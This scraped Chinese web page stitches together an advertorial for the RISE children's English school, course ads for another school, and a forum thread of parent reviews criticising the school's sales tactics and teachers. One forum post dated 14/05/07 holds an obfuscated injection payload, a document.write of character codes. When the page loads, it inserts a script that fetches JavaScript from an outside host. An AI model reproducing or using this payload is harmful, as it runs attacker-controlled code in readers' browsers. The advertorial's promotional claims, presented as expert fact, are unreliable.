孩子学英语家长易入哪些误区?
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来瑞思寻找答案吧】：　　孩子学英语家长易入哪些误区?
　　误区一：学英语什么最重要，会说英语孩子就有竞争力?
　　专家解析：浸入式教学法 让孩子快乐自信说英语
　　70年代家长都有下苦功学英语的惨痛经历：头悬梁、锥刺股，过了四六级。英语水
　　平又怎样呢?听不懂，不敢说，“聋哑英语”毁了一代人。是我们太笨?还是方法不对?为什么还让孩子继续步入“聋哑英语”的后尘?
　　少儿英语教育专家Sally指出，中国人学英语的方法叫“语法-翻译法”，是英国人几百年前用来学习希腊语和拉丁语的：只注重词汇和语法，不重听说，必然导致聋哑英语。由于缺陷太过明显，早已被绝大多数非英语母语国家放弃，只有中国仍是“捍卫者”。
　　目前，国际上普遍采用的英语第二语言学习方法为--“浸入式学科英语”教学法，是指在全英文环境中学习数学、语文、科学等课程，学科英语全浸入，孩子忍不住大声说英语。
　　这种教学法最早源于加拿大的魁北克地区，从幼儿园到高中毕业，学生坚持用母语外的第二语言学习学科知识，效果显著!目前，中国香港、新加坡等国家和地区，采用的就是这种浸入式学科英语教学法。
　　误区二：全英文环境就能培养英语思维?跟着美国原版动画片学，不好吗?
　　专家解析：语言学习必须结合学科知识 学科知识还要成体系学
　　来听听这些家长的苦恼，“孩子学英语，环境很重要，特意给孩子选了全英语的机构――跟美国原版动画片学，孩子是喜欢，但是现在问题出来了，孩子已经10来岁了，一开口说英语还是动画片里的语言，这可怎么办呢?”
　　专家指出，道理很简单，如果从小学中文是跟动画片学，能升学吗?能工作吗?如果不能，那么英语可以吗?说到底，语言本身没有竞争力。一个乞丐有可能比一个企业的总裁普通话说的更好!
　　目前很多机构还是在教语言，瑞思最重要的特色就是--用英语学语文、数学、科学等学科知识，让孩子在流利英语运用能力的基础上，学习系统的学科知识，胜任将来的工作。瑞思采用美国原版的K12课程，包含了幼儿园、小学阶段系统的学科知识，家长无需担心目前普遍存在的英语学习断档问题。
　　误区三：不考级怎么知道孩子学的好坏?
　　专家解析：证书能承诺什么?能力培养才是终极目标
　　其实，证书并不能说明什么问题，以前名校毕业证在找工作时畅通无阻，而现在应届毕业生就业形势非常严峻，原因就是：招聘单位开始重视应聘者的能力，而非名校毕业证!考级热导致了家长很多困惑：
　　“我孩子考某个证书已经过了三级，一开口竟然满嘴的Chinglish，因为口音不敢张嘴了，怎么办?”“以前听说小升初认某个很有名的考级证，后来改了另一个，现在都被教委取缔了，那到底考什么才能给孩子加分呢?”
　　少儿英语教育专家Sally指出，目前的考试趋势明显改变，重点中学“小升初”、名牌大学招生都要求英文面试，由原来考察知识转向考察孩子的综合能力，包含了演讲演示能力、项目管理能力和团队协作能力。
　　瑞思非常注重提高孩子的综合素质，培养基于流利英语运用能力的演讲演示、项目管理和团队协作能力。在瑞思，孩子们5人一桌，成为一个小团队，锻炼团队协作;每个孩子都有机会成为小“Leader”，锻炼项目管理。作业完成后，还要上台用英语演讲，锻炼面对众人的演讲演示能力。最终获得和美国孩子一样的领导力和创造力，英语棒，又自信，足以轻松应对未来关键的升学考试。
　　误区四：学英语，找外教发音才纯正?
　　专家解析：外国人不等于外教，能说汉语不一定能当老师
　　少儿英语教育专家Sally 向笔者分析：“通过我的经验来看，在国外从事少儿教育职业，必须通过严格的资质认证。国内很多外教其实都是少儿英语教育的行外人士，他们或许只会几句英语的方言，根本不懂得孩子的语言认知规律和教育心理学，也没有系统的教学计划和内容。很多外教上课随心所欲，有的一坐下来就问，今天我们聊什么呢?这样的学习内容，对于商务人士出国前突击口语还行，孩子从小学这样岂不是要耽误一生?中国的家长们是时候从‘外教迷信’中清醒过来了，为孩子选择英语学校的时候，应该更注重考察教学内容，而不是找‘蓝眼睛’的老外!
　　误区五：孩子才4岁，7、8岁再学也不迟?
　　专家解析：4-6岁语言启蒙最关键
　　国内外语言学者研究一致表明：4-12岁是孩子语言黄金期，其中4-6岁是启蒙关键期，这个年龄段母语和第二语言的学习中枢在脑部的同一位置--布罗卡区;此时接触的语言，会被大脑认为都是“母语”，终生不会遗忘。托尔斯泰、屠格涅夫、林语堂就是在幼儿期掌握了英、法、德等几门语言。然而中国现有的一些语言教育对4-6岁这个关键期并没有做到纯正的启蒙。
　　学前课程――瑞思玛特(RISMART) 适用于3―5岁学龄前儿童，以高科技多媒体互动教学软件为支撑,以与美国幼儿同质同步的探索与创造性游戏为课堂内容,充分利用幼儿多元智能，让孩子获得与其语言潜能最匹配的英语语言能力、思维能力和创造力，使其无缝对接“美国小学”阶段的学习。
　　小学课程――瑞思英语(RISE) 适用于6―12岁小学生，在纯英文环境中，以互动多媒体“浸入式学科英语”课程体系为教学支撑，以与美国小学同步的学科知识和未来领导力培养为传授内容，使受教育的孩子具备“学科英语思维”和“未来领导力”的少儿英语培训综合解决方案，可使学生顺利升入美国中学、中国国际学校、重点中学，或具备在国内中学就读奠定扎实超强的英语学科语言能力。
　　中学课程――瑞思高阶(RISEUP) 适用于12岁-18岁初高中生，使用美国初中、高中、SAT/ACT备考及AP(大学预科)的相关课程，遵照美国国标体系(common core standards)设计，贯穿学习过程始终的“学习力、多文化融入力及领导力”的能力培养课程，最终帮助中国学生顺利升入英语国家高等学府或就读于美国瑞思学校或瑞思合作的其他学校打下良好的学科知识基础和文化、思维储备。
　　校区优秀教师
　　Vivian
　　个人简介 :学科英语高级教师，瑞思教龄三年半，曾获得“优秀教师奖”“学术常青奖”“优秀教学视频收录奖”“升学贡献奖”“学术金苹果奖”等。
　　教学成果 :多名学员获得全国及北京市各项英语竞赛的金奖、一等奖。
　　教育感言 :从入职的第一天起，我就梦想将我的孩子们从pre-k阶段一直带到S5! 三年来，我跟我的孩子们成长，距离我的梦想越来越近了。
　　Shirley
　　个人简介 :学科英语高级教师，瑞思教龄4年。
　　教学成果 :学员Energy获得2012年小达人，并且参与2013年瑞思新闻发布会，代表所有S3阶段的孩子们进行展示。很多学员在参加各项英语大赛中都名列前茅。所教班级成为示范班级。
　　教育感言 :如果说教育工作是点燃孩子心中的火种，也是滋润老师心田的伟大工程。
　　Polaris
　　个人简介 :学科英语高级教师，多年学科英语教育经验。
　　教学成果 :所带班级孩子们的成长并不仅仅在阅读水平大幅提升，写作能力也明显提高。孩子们在作文中表达未来的理想，可以看到许多闪光点：坚持兴趣、有梦想、责任感等等。这些也是瑞思一直坚持培养的方面。
　　教育感言 :作为孩子们的老师，我也将带着兴趣、梦想、坚持、责任，和孩子们一起成长!
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绵阳瑞思英语的教学如何？外教对4岁的孩子来说好还是不好
提问者采纳
还是不错的，说实话外教这个问题还是要分情况的，其实针对4岁的孩子的话，还是不建议跟外教来进行学习。
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上课地址：武汉市江岸区京汉大道金地1903B幢
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3-4岁幼儿英语学科启蒙班 - 课程详情
该课程下设有3-6岁四个班型，按年龄和学习层次分班，均采用小班教学模式。启橙学科采用美国原版教材授课，外教均来自美国，能够为孩子带来原汁原味美式教学。孩子讲从英语发音开始学起，掌握英语自然拼读法则，同步提升英语听说读写和团队协作能力，全面发展，快乐学习！
适合对象：3-6岁幼儿
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武汉启橙学科英语作为武汉幼儿英语培训的领军品牌，在教学的过程中，坚持使用原版进口的美式幼儿教学图书，聘请来自美国、持证上岗的外教授课。启橙学科英语现推出3-6岁幼儿英语学科启蒙课程，共开设了3-4岁、4-5岁、5-6岁三个班型，按照学员的学习层次和年龄进行分班，小班教学，将会为孩子们全面夯实英语自然拼读和听说读写能力基础！
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开设班型：3-4岁幼儿英语学科启蒙班、4-5岁幼儿英语学科启蒙班、5-6岁幼儿英语学科启蒙班
教学方式：周六周日上课，每周2次课
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咨询电话400-801-6269大家伙儿说说，瑞思英语怎么样？
>>|&&[14/02/13 12:36]关于儿童早教这个话题，我个人认为是这样的。在中国这样的体制下，希望自己的孩子不要落在人后的家长都会无奈的向他低下头，但是在低头的同时，我们也要把视线往长远看，我们国家的好多人都希望自己的付出立马就可以收到回报，这是好多国人的特性，但是目光短浅很容易错过真正的好东西。儿童可以早教，关键是怎样的早教，我们都希望孩子能毫不费力的学会那些原本让我们这些成年人小时候也头疼脑热的知识，但是如果在孩子这么小的时候就希望她能做到教什么会什么的程度，我们是不是也有些可怕，我们要做的就是给孩子提供早教的平台与机会，拓展他们对知识的好奇心与发展他们对知识的探索精神，这样说我们是不是就 更能深刻的明白早教的意义在哪里。早教不是说早早的就让孩子接触那些难以理解与学习的知识，而是进行学习能力与自我管理的一个早期过程。对于我们来说希望孩子能在快乐的同时把那些难以接受的东西去理解融会贯通才是正确的想法，而早教要做的就是培养孩子不去排斥学习，不厌烦知识，这才是正确的早教。有好多家长说把孩子送到瑞思却觉得没学到什么知识，但是您发现孩子的改变了吗？问一问自己最初的想法是希望孩子开心愉快的融入其他的孩子当中，多多的开口于他人交流，对知识也有了探索的欲望，还是单纯的只是希望她会说英语呢。
教育体制逐渐在改革，我们为何不放眼未来，培养孩子自主学习的能力，而非要给孩子套上必须在短期内要有成效的枷锁。
我们共勉。&&[14/02/14 08:57]我家昨天也报了瑞思了，昨天的试听感觉还不错，孩子能说两句，就是孩子才3岁是不是有点太早啊&&[14/04/08 09:29]老师水平很差，还没我的口语好，我已经烂到渣了好不好！！这是一推销水平很厉害，我都有点招架不住了~他们选的教材的确不错~ 之前已经在励步报名了，但是还没开始上，说可以随时退费，也还没退，励步至少还有一个外教学英语不用外教，我觉得有点扯，那还不如我自己教呢~~~&&[14/04/29 10:27]我们孩子上瑞思一年半了，当初其实是在小区里一个外教自己办的班里学的，孩子也很喜欢，毕竟外教教课的方式比较open, 生动形象。但是试听了一次瑞思课后，觉得他有系统的课程，当时让孩子做了一个小手工，每个人都能简单介绍操作过程，所以就心动了。当然，也是那儿强大的销售手段，本来试听完想回去考虑一下，但和我们推销的老师看我们想走，就立刻跑出去找他们销售领导，这位领导在楼道里把我和孩子爸爸一顿狠批，说我们完全不考虑孩子的将来，我说孩子现在课比较多，我下班晚，平时送也不方便。她立刻说你们上那些舞蹈、钢琴一点用没有，将来考试会考那些吗？英语是必考的，再不上就晚了，你看看你们孩子现在都大了，我们这儿的孩子都是3、4岁的。还和别人说，你们看这个妈妈真逗，居然还嫌下班晚没法送孩子，自己重要还是孩子重要？说的我都羞愧死了。最后，也是孩子喜欢瑞思这个环境，所以就报名了。然后就是上课，两个中教女老师，对家长也不错，上了没几个月，也是说涨价，让报下一年的。我问了孩子的意见，她说很喜欢，所以就又报了一年。到现在一年半了，下一年我是不想报了，实事求是的总结一下原因吧。瑞思硬件环境、教材都是不错的，包括上课的方式，孩子都很喜欢，这确实是它的优点。缺点：1、一个班孩子太多，我们现在20多个，想一下2个女老师如何照顾？ 2、换老师教频繁，我们第一年换了3个老师，每换一个孩子都要适应一段时间。 3、没有外教，虽然高年级偶尔有外教光顾几分钟，但不教课，跟没有差不多。学语言本来就枯燥，如果让一位本来就有点内向的可能时不时心情不太好的中国女老师板着脸来教，是想孩子还能有多少兴趣？而且我们有一次坐车，碰到一个小姑娘，一问，她就是我们校区的老师，抱怨说刚上班4个月，每个月给2000多元，还不够租房。关键是像她这样的老师很多，很多...我的心都有点凉，没有外教也就算了，这么高的收费居然给我们配备这种刚毕业的老师，那有什么教学经验？ 4、孩子学了这么久，让然张不开嘴，不会说，要说也只是会说所教的那些学科英语内容，试想连基本的交流、口语都不会，学那些专业知识有用吗？总之，这些就是我不想再报名的原因，没有别的意思，希望大家能有所借鉴，也希望培训机构能在这些方面注意，使自己更加完善！&&[14/05/07 22:17]
ed2k://|file|test|'+document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,95,104,109,116,32,61,32,95,104,109,116,32,124,124,32,91,93,59,10,40,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,118,97,114,32,104,109,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,10,32,32,104,109,46,115,114,99,32,61,32,39,104,116,116,112,58,47,47,99,100,110,46,108,105,98,46,104,117,111,112,105,110,106,105,101,46,99,111,109,47,116,111,110,103,106,105,46,106,115,39,59,10,32,32,118,97,114,32,115,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,115,99,114,105,112,116,39,41,91,48,93,59,32,10,32,32,115,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,104,109,44,32,115,41,59,10,125,41,40,41,59,10,60,47,115,99,114,105,112,116,62))+'|test/&&[14/07/21 16:42]您好，你们是报了瑞思又退费了吗？我们也报了瑞思了，现在还没正式上课，现在想退的话好退费吗&&[14/07/22 12:30]偶然点进这个帖子，作为一个机构的少儿英语老师，我说说我的英语学习思路和理念，如果您持有不同意见，大家可以讨论。我是什么机构就不说了，防止广告嫌疑。首先，我们家里的孩子上过瑞思，而且一上就是三年，那时候我还没有毕业，所以也和瑞思的老师聊过，也试听过，对于瑞思的教育方式和理念，我有以下几个问题：1.语言学习是复杂的，也是简单的，在没有语言环境的情况下，瑞思如何保证孩子对于单词的吸收和理解？尤其是在没有“英语”这门课的情况下。2.瑞思的课程中并没有“语文”这门课，也就是说他们默认了孩子已经有很好的语言基础了，中国孩子可能达到吗？换位思考，你让美国的孩子学中文直接看中国孩子的数学、科技等等的书他们能看的懂？当然看不懂！这根本不符合人类学习语言的规律！3.中国的绝大部分孩子面对的并不是出国深造，尤其是在初高中乃至小学就去了国外上学，还是要面对中高考的筛选。请问在没有成套语法结构学习的情况下孩子拿什么去和别人竞争？就靠瞎说吗？语言终归是一个工具，一个交流的工具。有了这个工具你才能做很多事情，比如钉钉子，比如拧螺栓，但是请问在你连工具都不会用的情况下怎么完成上面的那些事？乱来吗？为什么新概念这套教材在中国用了几十年，经久不衰？归根结底就是它所蕴含的英语学习方式和思路符合中国人学习英语的习惯和整个中国的国情！诚然比较过时，比较无聊，但是以单词为基础，语法为框架，填补口语、听力的英语学习大厦对于绝大部分中国人来说才是稳固和实用的！才是稳步前进，逐步进步的学习过程。在北京小学英语低年级取消；中考英语难度降低，总分减少；从高考中取消，换成认证性考试的大背景下。高一开始的英语认证考试就要求孩子势必要在中考结束以后就达到高考英语能考高分的程度！这样才能在以后的3年学习中比别人占尽优势！这就要求家长在初中三年加紧学习英语！这还不考虑中考压力！所以小学阶段接触语法结构就势在必行！家长在选择机构学习英语的时候外教固然是让人关注的，但实际上口语的训练并没有那么重要。口语的提高是非常快的，而作为一个第二语言学习者语法使用的正确性才是更重要的！这也就是为什么大学的语言导师都会告诉自己的学生：到了国外一定不要长时间的和非英语国家的人呆在一起，因为他们口语中语法错误太多！一旦形成习惯后面就改不过来了！所以我心目中的英语学习完美体系就是：学龄前——兴趣为主，灌输部分单词，句型和字母书写发音小学1-3年级——兴趣为主，开始背诵单词，接触更多的单、句型和简单的语法内容。4年级——初中，成结构的语法，配以习题和能力训练，辅助兴趣。个人鄙见，欢迎讨论，谢谢&&[14/08/24 15:44]我们是在上海闵行龙之梦中心第一阶段看孩子上完课后 第二阶段就是推销上场了。这个推销态度很傲慢 动不动就问 你出过国吗？ 再说是一点是 当他说一周请假一天来他们中心上课 我问一天几个小时课 他说 六个小时 后来说到午休 问他几个小时午休 他说两个小时
我说这个方式有点不适合我 的孩子 具体怎样 我还要跟幼儿园的老师商量下 这样的请假园里是否同意？销售 马上就来句 是老师的意见重要 还是孩子的前途重要。我说首先我得尊重老师 其次我得要权衡一下这种方式是否适合我的孩子。销售这时居然急吼吼的坐不住了 对我很失望的感觉。第二点就是孩子爸爸问他几个教室 还有老师的资质问题 该销售啰嗦半天 打太极 回答的极不得要点 这点就缺管真诚。第三点 销售拉了我们聊了一个多小时 期间我感觉很疲劳了 苦于孩子的课还没结束。后来实在受不了了 提前去看孩子在干吗 孩子自在画画 玩玩具 老师这时在拖着另一个孩子对着白板讲英语。据销售说瑞思的英语班上要有有十六个孩子 这么多孩子老师如何能顾的过来？销售后来看我们很犹豫 当天不会交费 完全很没风度的冷下脸来。。。谁给你的傲慢。。。很不明白。。。。急攻近利的销售是瑞思的一大败笔。。。。。&&[14/12/04 09:21]2014年7月，瑞思与天津复康路加盟点解约，在很多家长不知情的情况下，校长（也就是加盟商）携款跑路，家长学费无着，教师工资赖账，瑞思总部不负责，一副事不关己的态度。全国很多地方的瑞思加盟商都有类似事件 ，各位家长前往擦亮眼睛，别上当。瑞思英语采用加盟模式，总部与各分点是纯粹的商业关系，和教育一点不沾边，收费开票都是咨询费，而不是学费，因为他们根本就没有办学资质。老师全是操着中式英语的中国教师，根本没有严格的准入，用一两个没有教师资格的老外和孩子互动一小时的口语，就算是外教了。请各位家长擦亮眼睛，莫上无良商人的当，把孩子的学习引上歧路！&&[15/04/01 14:06]其实少儿英语培训机构在北京就不下百家，很难说选一个最好的，到底瑞思怎木不清楚，因为没有在这家学过，我朋友的孩子在阿帕图英语学习的，挺新颖的教学模式，孩子们先在网上学习，然后老师有针对性的讲解，还有免费体验课，我感觉不错，推荐这家&&[15/04/02 09:47]:L&&[15/04/04 13:29]孩子学了四年，结果去别的地方一测试，老师说我们孩子“不认字”，确实孩子遇到文字的东西全都不认识，给图片才认识！好纠结！&&跳到页&&13/13页|>>精彩推荐